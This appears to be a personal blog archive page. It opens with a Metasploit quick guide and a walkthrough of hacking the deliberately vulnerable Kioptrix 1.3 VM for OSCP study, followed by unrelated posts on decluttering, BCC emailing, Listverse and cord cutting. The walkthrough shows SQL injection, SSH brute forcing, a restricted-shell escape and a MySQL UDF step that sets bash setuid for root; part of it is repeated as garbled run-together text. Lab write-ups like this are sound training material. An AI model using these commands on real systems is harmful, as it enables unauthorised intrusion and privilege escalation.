Category: stuff

Posted on

Quick Metasploit Guide

metasploit photoThese are some notes I find myself referring back to as I work through my studies for the OSCP exam. As I develop more of these, I’ll continue to post them here on my blog so that others might find them useful.

Use Kali Linux for all the following instructions.

Prep:
Ensure postgresql is running.

$> /etc/init.d/postgresql start

Set postgres to start on boot so you don’t have to worry about it again:

$> sudo update-rc.d postgresql enable

From the command line, fire up the Metasploit console:

$> msfconsole

Search for exploits related to what you are interested in:

msf> search smb

Or, be more specific:

msf> search name:smb type:exploit platform:windows

Or, in Kali, use searchsploit (from regular command line, outside of MSF):

$> searchsploit smb

Once you find an exploit you want to use, use it:

msf> use exploit/windows/smb_hack

Then set a payload:

msf> set PAYLOAD windows/shell/reverse_tcp

See what options are set:

msf> show options

Set options as needed:

LHOST is the IP of where the victim host will send info to (your Kali VM, ex.)

msf> set LHOST 192.168.0.x

RHOST is the IP of the victim

msf> set RHOST 192.168.1.x

Default port is 80, but choose one if you wish:

msf> set RPORT 8081

Run the exploit:

msf> exploit

If trying to get a remote shell, beware that you may be looking at it if you see what you think is nothing happening. Just try executing a command and see what happens:

lsdirpwdid

Photos by Christiaan008,

Posted on

Kioptrix Level 1.3 (VM #4) Walkthrough

In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on vulnhub.com to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.

Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on vulnub.com, and I’ll see if they will add this to Kioptrix 1.3 page soon.

Hopefully, someone will find this useful either way.

It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.

Discovery

On my local network, this VM turned up with the IP address of 192.168.0.110.

nmap

Running an nmap scan revealed some open ports and running services:

root@kali:~# nmap -v -sS -A -T4PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)| http-methods: |_ Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch|_http-title: Site doesn't have a title (text/html).139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)Running: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33

Poking Around

Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at http://192.168.0.110

No basic SQL injection working from any initial attempts.

Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.

Nikto

Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

dirb and dirsearch

A basic dirb scan turned up a directory:
http://192.168.0.110/john/

I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:
http://192.168.0.110/robert/

Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.

I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql

(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)

enum4linux

Since ports 139 and 445 were being used, I went on try enum4linux

root@kali:~# enum4linux -a 192.168.0.110Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Feb 9 00:40:35 2017(Pasting only the relevant stuff here.) ===================================================== | Enumerating Workgroup/Domain on 192.168.0.110 | ===================================================== [+] Got domain/workgroup name: WORKGROUP============================================= | Nbtstat Information for 192.168.0.110 | ============================================= Looking up status of 192.168.0.110 KIOPTRIX4 <00> - B <ACTIVE> Workstation Service KIOPTRIX4 <03> - B <ACTIVE> Messenger Service KIOPTRIX4 <20> - B <ACTIVE> File Server Service ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser WORKGROUP <1d> - B <ACTIVE> Master Browser WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup NameMAC Address = 00-00-00-00-00-00============================== | Users on 192.168.0.110 | ============================== index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)user:[nobody] rid:[0x1f5]user:[robert] rid:[0xbbc]user:[root] rid:[0x3e8]user:[john] rid:[0xbba]user:[loneferret] rid:[0xbb8]========================================== | Share Enumeration on 192.168.0.110 | ========================================== WARNING: The "syslog" option is deprecatedDomain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))Server Comment --------- ------- KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)Workgroup Master --------- ------- WORKGROUP KIOPTRIX4[+] Attempting to map shares on 192.168.0.110//192.168.0.110/print$ Mapping: DENIED, Listing: N/A//192.168.0.110/IPC$ [E] Can't understand response:WARNING: The "syslog" option is deprecatedDomain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]NT_STATUS_NETWORK_ACCESS_DENIED listing \*===================================================== | Password Policy Information for 192.168.0.110 | ===================================================== [E] Unexpected error from polenum:Traceback (most recent call last): File "/usr/bin/polenum", line 33, in <module> from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samrImportError: cannot import name dcerpc_v4[+] Retieved partial password policy with rpcclient:Password Complexity: DisabledMinimum Password Length: 0S-1-22-1-1000 Unix User\loneferret (Local User)S-1-22-1-1001 Unix User\john (Local User)S-1-22-1-1002 Unix User\robert (Local User)enum4linux complete on Thu Feb 9 00:40:51 2017

acccheck

I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.

THC Hydra

You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:

robert
root
loneferret
john

hydra -L users -P 10_million_password_list_top_100000.txt -t 4 192.168.0.110 ssh -vv

Nothing turned up! Bummer.

database.sql

This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.

Immediately, the first thing to note is that there’s a username and password shown in the dump file.

john
1234

Let’s try it on the HTML login form at http://192.168.0.110/index.php?. No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.

Perhaps it’d work with SSH or SMB?
Negatory

The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.

After a number of failed attempts and errors by trying various SQL injection strings, using this worked:

Username: johnPassword: ' OR 1=1 #

That took me to the User Admin Panel and showed the actual password.

That seemed kinda easy. But this is when things got hard, actually.

I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!

Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:

I was warned about trying to cd into the root directory, and getting kicked out if I tried again.

lpath is the same as pwd.

The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile


Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:

Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.

Must break out of the restricted “LigGoat” shell. To the Google!

Searching for “escape restricted shell echo” I found a handy article:
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells

Trying a number of things, I finally found the right trick, which is to use Python to switch shells:

echo os.system("/bin/bash")

That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed: http://netsec.ws/?p=337

Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.

MySQL

Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:

user: root
pass: (empty)

That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:

Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:

mysql root pwn server

That led me to a Facebook post, of all things:

https://www.facebook.com/notes/security-training-share/mysql-root-to-system-root-with-lib_mysqludf_sys-for-windows-and-linux/865458806817957/

It described the situation perfectly:

“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”

The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn’t need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.

Where that article has this line:

select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');

Just do this instead:

select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

bash -p

It should drop you into a root shell!

cd /rootcat congrats.txtIt described the situation perfectly:"We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often."The necessary lib file was already at /usr/lib/lib_mysqludf_sys.so which meant I didn't need to grab it from sqlmap and upload it to the system.Modifying those instructions a little, there was no need to compile a c script that changes users.Instead of this line:select sys_exec('id > /tmp/out; chown npn.npn /tmp/out');Just do this:select sys_exec('chmod u+s /bin/bash');Then drop out of MySQL and run this:	Ø bash -pIt should drop you into a root shell!cd /rootcat congrats.txt

Root obtained. Mission complete!

 

Posted on

Decluttering

declutter photoWith the start of a new year about to happen, I’ve been doing a lot of reflection on where I’ve been focusing my attention, and what I’ve been getting out of those things. My conclusions led me to discover that I have been putting a lot of time and energy into things that don’t necessarily help me, my family, and everything surrounding those primary things (career, creativity, cashflow, etc).

So, I have decided to give up the following:

  • Caring about sports. I may watch some bigger Louisville basketball games, but overall, this has become more of a chore than anything, and I spend way too much time wrapped up in the emotions surrounding games. This is particularly unproductive when they lose.
  • Facebook. I’ve given it up before, but it serves absolutely no purpose for me. If people want to keep in touch, they know how to find me.
  • Clash of Clans. I’ve led a very successful clan for almost 2 years, and been a part of the game for almost 3. I helped start the Reddit Alliance Clans system, and all of this has been a large time sink. I did have a lot of fun, and I met a lot of great people along the way, but ultimately, it’s been entirely unproductive towards helping any of the primary things in life I mentioned above.
  • Reddit. One thing I’ve noticed is that by deleting apps off my phone, I waste a lot less time. So I am removing the Reddit app that I use, and will instead only check in on occasion when at my computer, at home. I tend to get wrapped up in drawn-out conversations (or arguments) on Reddit far too often. While some of these interactions can have positive outcomes (discussing network security, for example), most of the time I am arguing with people who will never change their minds. Why? I have no idea.

I hope to start using all the freed up time and energy (in no particular order) towards continuing my newfound interest in working out, continuing to educate myself, investing more time and energy with my family, making more music, and focusing on the things that support all of the above — the primary things in life.

I will report back more in a few months to let you know how it all goes!

Photo by ollesvensson

Posted on

Let’s Revisit: Sending Mass Emails The Right Way

envelopes photoThe concept of sending an email to multiple people the right way seems to have eluded the populace as a whole lately. I’m looking at you, schoolteachers, soccer coaches, and party invitation senders. I write to you today because, in recent months, it seems I’ve been included on more and more emails where I’m one of 50 people whose email address is awkwardly stuffed into the CC: field of the email you sent, right there with all the others for everyone in the list to see. I even got an email from the manager of the local Sears store I had recently purchased an appliance from, that got sent to all the people who had bought something there recently, and everyone’s name and address were easily viewable in the CC field.

The problem here is that you are being inconsiderate towards peoples’ privacy, and you are sending around a large list of real email addresses to possibly be harvested by spammers.

There is a way to do this that protects peoples’ privacy, doesn’t annoy the nerds and geeks in your email list, and makes you look like you know what you are doing. What trifecta could be better than that?

The easiest way to do this is by using the BCC: field instead of the CC: field. BCC stands for “Blind carbon copy,” which means that any email address entered in it will not show up to the recipients of the email. The CC: field does show them, so don’t use it.

The trick is that you should enter your own email address in the To: field of the email, then enter the long list of room parents or party invitees in the BCC field. That’s it! Now you too can look cool.

There are some detailed instructions, with pictures, available here, in case you need more info.

Posted on

Writing for Listverse is a Waste of Your Time

Listverse is often a recommended website for people who wish to make a little extra cash. They make it sound like it is fun and easy to “Write & Get Paid.”

I’m here to urge you not to waste your time. You will be better off writing for real website owners who post projects on Textbroker or any of the other writers’ platforms out there.

The Listverse deal seems rather straightforward at first: come up with a list of things that are quirky and unique, write at least 1200 words about them, cite your sources, then submit them for review. If approved, they send you $100 via Paypal. I thought this sounded like a fun way to make $100 by writing about topics I know and am interested in.

One thing you have to do before writing a list is to make sure they don’t already have a list about the topic you want to write about. Searching their site for existing lists is futile, as their Search feature doesn’t seem to work at all. See the example below, where I searched for a list about vampires that is shown on their home page, and even it doesn’t come up in a search result:

search_-_listverse

This leaves you with having to use Google to query the Listverse site in an attempt to make sure you don’t waste your time writing a list that is already there:

listverse_vampires_-_google_search

Once you think you have a good idea for a list topic, it’s a good idea to read about the Listverse guidelines on what they expect and what the rules of engagement are. Here is how they summarize it:

It works like this: You write your list (10 items per list minimum), you send it in, we reply and say “Great—we’ll publish it” and send you $100 by PayPal (don’t have an account? just make one—it’s easy and free); or we reply and say “Sorry—it isn’t the sort of thing our readers will love—give it another shot.” Just remember, your list should be at least one or two paragraphs per entry.

There is also a more detailed Author Guide that gets into writing style and some more about the rules and what they expect.

The other major caveat is not to write about something in their short list of topics that they are currently not taking submissions for, which are sports, self-help, personal stories, and gaming.

Sounds pretty easy, right?

I dove in and spent about two hours researching topics, writing up a list, proofing it, finding sources for it, then attempting to submit it. Their submission page says, “We only consider submissions with the highest standard of English and submissions should not exceed 1,500 words.”

No problem. I love writing and have what I consider a good mastery of the English language. My article was about 1000 words, so I thought it was ready to go.

First Problem

Only at this point do you learn that lists must be at least 1500 words. Wait…what? Above, on the Submission page, it says that the article “should not exceed 1500 words”. But if you click Submit List, and your article isn’t long enough, you see this:

extra_listverse_com_submit_submit_php

They don’t tell you this anywhere on the submission page until you click the Submit button. And this situation makes it seem like you are set up for failure from the start. So, in one place it says no more than 1500 words, then you are scolded about not having at least 1500 words when you try to submit. What to do?

I went back and added more meat to my list, getting it to the minimum length required, and was finally allowed to proceed. The resulting page and the resulting confirmation email I got told me that it would be up to two weeks before hearing from them. Apparently they read every entry they get, and it is time consuming. I am a patient man, so I was OK with this.

Problem Two: Rejection

I got the rejection letter this morning. I understand not getting accepted for legitimate reasons; it was more about the issues surrounding it that led me to writing this lengthy blog post.

First, the rejection letter itself was not the “highest standard of English,” which was amusing more than anything, but I thought I’d point it out. For example, it said this:

“We regret that your list is just not quite what we are looking for right now; this is usually because your subject matter is outside the scope of the direction in which we are taking Listverse.”

Taking Listverse? Ok, whatever. Moving along…

Second, they go on to list out some of the same caveats about submitting a list, but only this time is it in more detail than before you actually write your list:

We are currently not taking any lists from the following categories: self-help, opinion, product rankings or reviews, money making guides, personal experience stories, health advice, gaming, sports, music, TV, movies, and animals.

My list was not in any of those categories, but I did stop to think that many of these had not been mentioned up front, and I’d have been pissed if I had spent a lot of time on a list about animals, for example.

They went on to list some “technical” reasons for rejection:

1. The list is too short, too long, or does not have ten items
2. The list requires too much editing (poor English or lack of proofing is usually the reason)
3. The topic is already covered on Listverse or the Internet in general
4. The topic is simply not in keeping with the style of content we publish

Regarding 1, I had exactly 10 items on my list. Was I rejected because the list was over 1500 words long, even though I was unable to submit a list unless it was 1500 words long? That seems stupid.

I knew my rejection wasn’t due to numbers 2, 3, or 4, as I had researched everything, proofed it all, and come up with something rather unique to write about, and made it appealing to the type of audience they cater to.

The Final Knockdown: It’s an odds game

Being rather bewildered at the reasons for rejection not lining up with my article, and still not understanding why my submission was not taken, I carefully re-read the rejection email and I found this sentence in the middle:

We receive more than 150 submissions each day and can only choose three for publication.

Only now, after spending all this time writing a list, researching it, proofing it, and waiting on the outcome, did they choose to mention that 3 per day is the limit. The odds sure would have been helpful to know up front, way before any of this ever happened.

But then, why would anyone ever choose to write a list and submit it if they knew the odds, right?

I will not be wasting any more of my time on Listverse, and I urge you not to, either!

Note: I will publish my list here soon. Since they rejected it, I retained rights to it 🙂

Posted on

Have you been pwned?

This website has come in handy a couple of times recently. I was made aware that my username and password were found in lists of those stolen from hacked websites, including Dropbox and LinkedIn. Of course, I had long since changed my passwords, but it’s still interesting to see this happen, and it could one day really save me. I suggest you sign up!

https://haveibeenpwned.com/

Have_I_been_pwned__Check_if_your_email_has_been_compromised_in_a_data_breach

Posted on

Random Links

No links are better than random links, so I have culled my Bookmarks to find some things that have piqued my interest lately, and I am presenting them here for your perusal. I supposed that the act of coagulating these links into a blog post no longer makes them “random” in some sense of the word, but nevertheless, here they are. Enjoy.

 

Always Something Interesting

Shorpy.com is an historic picture archive “featuring thousands of high-definition images from the 1850s to 1950s. The site is named after Shorpy Higginbotham, a teenage coal miner who lived 100 years ago.”

That sounds pretty neat, and it is. The site is choc-full of very high resolution, pre-Scalia imagery (too soon?) for you to look at. Who doesn’t like a hi-res picture of ‘newsies’ smoking cigarettes?

 

Gone Phishing

GoPhish is an open source phishing framework that allows you to create fake emails, add them to phishing campaigns, then track their success. Perfect for the Inter security professional in your house to do some social engineering in order to find out which family member is most likely to give up the login information for your Netflix account.

Being open source, it’s free to use as you wish.

 

Facebook Safety

FaceCrooks.com keeps an eye on all things Facebook related, with security tips, account setting recommendations, scam alerts, and more. Keep this one in your back pocket if you are a Facebook user.

 

Credit Card Fees

Don’t you hate being charged more to use your credit card when you get that cup of coffee? It’s an understandable position that many small shops try to recoup some of the processing fee for small transactions, but there are restrictions shop owners may be unaware of. This site keep you, the consumer and/or business owner, up to date about what you can and can’t expect related to charing fees for card use.

Posted on

We Cut The Cord!

cable tv photoAbout 3 weeks ago, we decided we were done paying Charter $120/month for the highest level TV package they had. When Rachael and I sat down to think about it, we realized that we really only care about a few things:

  1. College basketball (well, for me, anyway).
  2. HBO shows we like
  3. Jeopardy!

Everything else was peripheral, and we felt like we could live without it. We imagined more free time, more book reading, and more chances to talk to each other and interact amongst the family.

The New Way

I set out to find out the best way to go about this. After quickly discovering the Cord Cutters sub-Reddit, I was pretty well set. Here’s what we ended up with:

  • SlingTV account for $25/month (base package + extra sports channels). This covered most all of my college basketball needs, live CNN, and some other channels we don’t really care about.
  • HBONow through SlingTV for $15/month. While I signed up for this for one month, I think we may go to the HBONow version available through iTunes. That way, we can watch it on either of our AppleTV’s, of which we have two: one in the living room and one in the bedroom. The SlingTV app doesn’t provide for this. Either way, it’s $15/mo., and we can cancel it during the dry months when our favorite shows aren’t on.

That’s it for paid TV. We are at $40/month, and we will cancel Sling once college basketball season is over. That puts us at $15/mo for HBO.

What Else We Are Using

In order to use SlingTV decently, I hooked up my old Mac Mini to our main TV in the living room. I just launch the SlingTV app and we can browse through it with a wireless keyboard and mouse. This comes with the added bonus of doing whatever else we might do on a computer with the TV as the monitor.

I also found a website called USTVNOW.com that gives you all the broadcast networks for free. The local news is based in Philadelphia, but you get all the programming of ABC, CBS, NBC, Fox, and a few others. So we get Jeopardy!

USTVNOW.com does require you to be in another country, as it was geared towards US military and government people overseas to be able to get TV from the States. All I had to do was log in once from another country (thank you Tunnel Bear) and now it lets me in every time, at least until the browser cookie expires, but that is easily resolved.

We also have a Chromecast and the two AppleTV’s I mentioned before. The Chromecast makes it easy to watch Youtube or whatever we might have from another computer or a phone. The AppleTV’s let us watch Netflix ($9/mo) and we might sign up for Hulu ($8/mo).

Lastly, I found an AppleTV remote app, a remote mouse app, and a custom remote app for my phone that let me control my TV, AppleTV, and the Mac Mini, all from my phone.

Getting Used To It

The only qualms about all this have been some moments where the streams were jittery (especially USTVNOW during NFL playoffs), and not being able to channel surf the way we used to. However, we still get to watch the shows we like, I have yet to miss a Louisville basketball game, and the other benefits I mentioned have been working their way into our lives.

There have been some moments of frustration while we try to get used to this new way of life, especially during those “just want to veg out and channel surf” moments, but we are adapting, and realizing that there are better uses of our time.

Summary

We reduced our Charter bill significantly by going down to internet-only and ditching cable TV. It is 2/3 cheaper now!

Even if we pay for SlingTV, Hulu, Netflix. and HBONow all at the same time, we are still looking at less than half the cost of what we were paying to Charter.

This is an endeavor I highly recommend!

Photo by Mike Licht, NotionsCapital.com

clicky